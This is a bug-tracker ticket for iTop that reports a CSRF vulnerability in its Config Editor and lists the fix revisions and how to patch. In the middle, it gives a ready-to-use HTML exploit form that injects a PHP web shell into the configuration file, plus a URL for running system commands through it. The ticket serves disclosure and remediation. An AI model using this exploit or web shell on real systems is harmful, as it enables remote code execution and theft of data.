#1202 Security Vulnerability: Config Editor

[Denis]

Security Vulnerability reported by High-Tech Bridge Security Research Lab (https://www.htbridge.com/advisory/HTB23293)

A remote unauthenticated attacker can perform CSRF attack and execute arbitrary PHP code on the vulnerable system with privileges of the web server. Successful exploitation of the vulnerability may allow an attacker to execute arbitrary system commands on the web server, gain complete access to vulnerable web application and its databases that may contain very sensitive information.

The attacker shall create a malicious web page with CSRF exploit code, trick a logged-in administrator to visit the page, spoof the HTTP request, as if it was coming from the legitimate user, and permanently inject malicious PHP code into iTop configuration file.

CSRF exploit will inject the following PHP code into iTop configuration file:

<? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?>

To reproduce the vulnerability, just create an empty HTML file, paste the following exploit code into it:

<form action="http://[host]/env-production/itop-config/config.php?c%5Bmenu%5D=ConfigEditor" method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="prev_config" value="1">
<input type="hidden" name="new_config" value="<? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?>">
<input value="submit" id="btn" type="submit" />
</form>

And then login to iTop website and open the file in your browser. After successful injection the attacker can run arbitrary system commands using "/pages/UI.php" script. A link below will display output of "/bin/ls" command for current application's directory:

http://[host]/pages/UI.php?cmd=ls[/cmd]

[Denis]

Fix committed as:
revision [r3902] in /trunk
revision [r3904] in /branches/2.2.0
revision [r3905] in /branches/2.1.1
revision [r3906] in /branches/2.1.0

To patch your iTop, simply replace the file datamodels/2.x/itop-config/config.php by the version from the appropriate revision above, then run the setup again.